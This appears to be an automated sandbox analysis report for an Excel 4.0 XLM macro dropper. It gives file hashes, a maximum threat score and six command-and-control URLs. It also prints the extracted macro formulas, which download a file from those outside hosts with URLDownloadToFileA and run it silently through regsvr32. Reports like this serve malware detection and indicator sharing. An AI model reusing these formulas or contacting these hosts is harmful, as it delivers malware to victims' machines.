e13cfd2ac05ed539d0664b7b869851bc0c6efa0d12c3ee51ab3d68f301f2a361

General

Target

e13cfd2ac05ed539d0664b7b869851bc0c6efa0d12c3ee51ab3d68f301f2a361
Size

40KB
Sample

241120-zw2zvstkby
MD5

b6c259e9e025dc20ebf5cf5aa0bc7b2f
SHA1

62c46d46f288acd557c9920cf9ecce8071a46881
SHA256

e13cfd2ac05ed539d0664b7b869851bc0c6efa0d12c3ee51ab3d68f301f2a361
SHA512

2d3eb9f45ab3a8770b633ae21413bfa9f7530faba371f3eec590cebe406eca5597e51c7cf6e3893f259ab001e3e24f40f9836477c84ff263ac2bda18c36828a0
SSDEEP

768:6bomCS/DOevZCwt7OyKfcrND59V+L9Rw4eWrXcTqZ0VfddDhw:qomd/DmylND59V4jwmXc2CVfdxi

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://linkmys.com/stats/nnF/

https://livejagat.com/h/UDwLU4FTwf/

https://ticsnp.azurewebsites.net/anko-agust/treN2T/

https://paintingsouq.com/l93mxsk/Ich7kJF7n3Fu5v/

https://sanvicente.group/wp-content/dBsh5232WHIsiwyQAln/

https://novinex.net/wp-admin/p9FV5/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://linkmys.com/stats/nnF/","..\dxw.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/UDwLU4FTwf/","..\dxw.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ticsnp.azurewebsites.net/anko-agust/treN2T/","..\dxw.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://paintingsouq.com/l93mxsk/Ich7kJF7n3Fu5v/","..\dxw.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sanvicente.group/wp-content/dBsh5232WHIsiwyQAln/","..\dxw.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://novinex.net/wp-admin/p9FV5/","..\dxw.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dxw.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://linkmys.com/stats/nnF/

xlm40.dropper

https://livejagat.com/h/UDwLU4FTwf/

xlm40.dropper

https://ticsnp.azurewebsites.net/anko-agust/treN2T/

xlm40.dropper

https://paintingsouq.com/l93mxsk/Ich7kJF7n3Fu5v/

xlm40.dropper

https://sanvicente.group/wp-content/dBsh5232WHIsiwyQAln/

xlm40.dropper

https://novinex.net/wp-admin/p9FV5/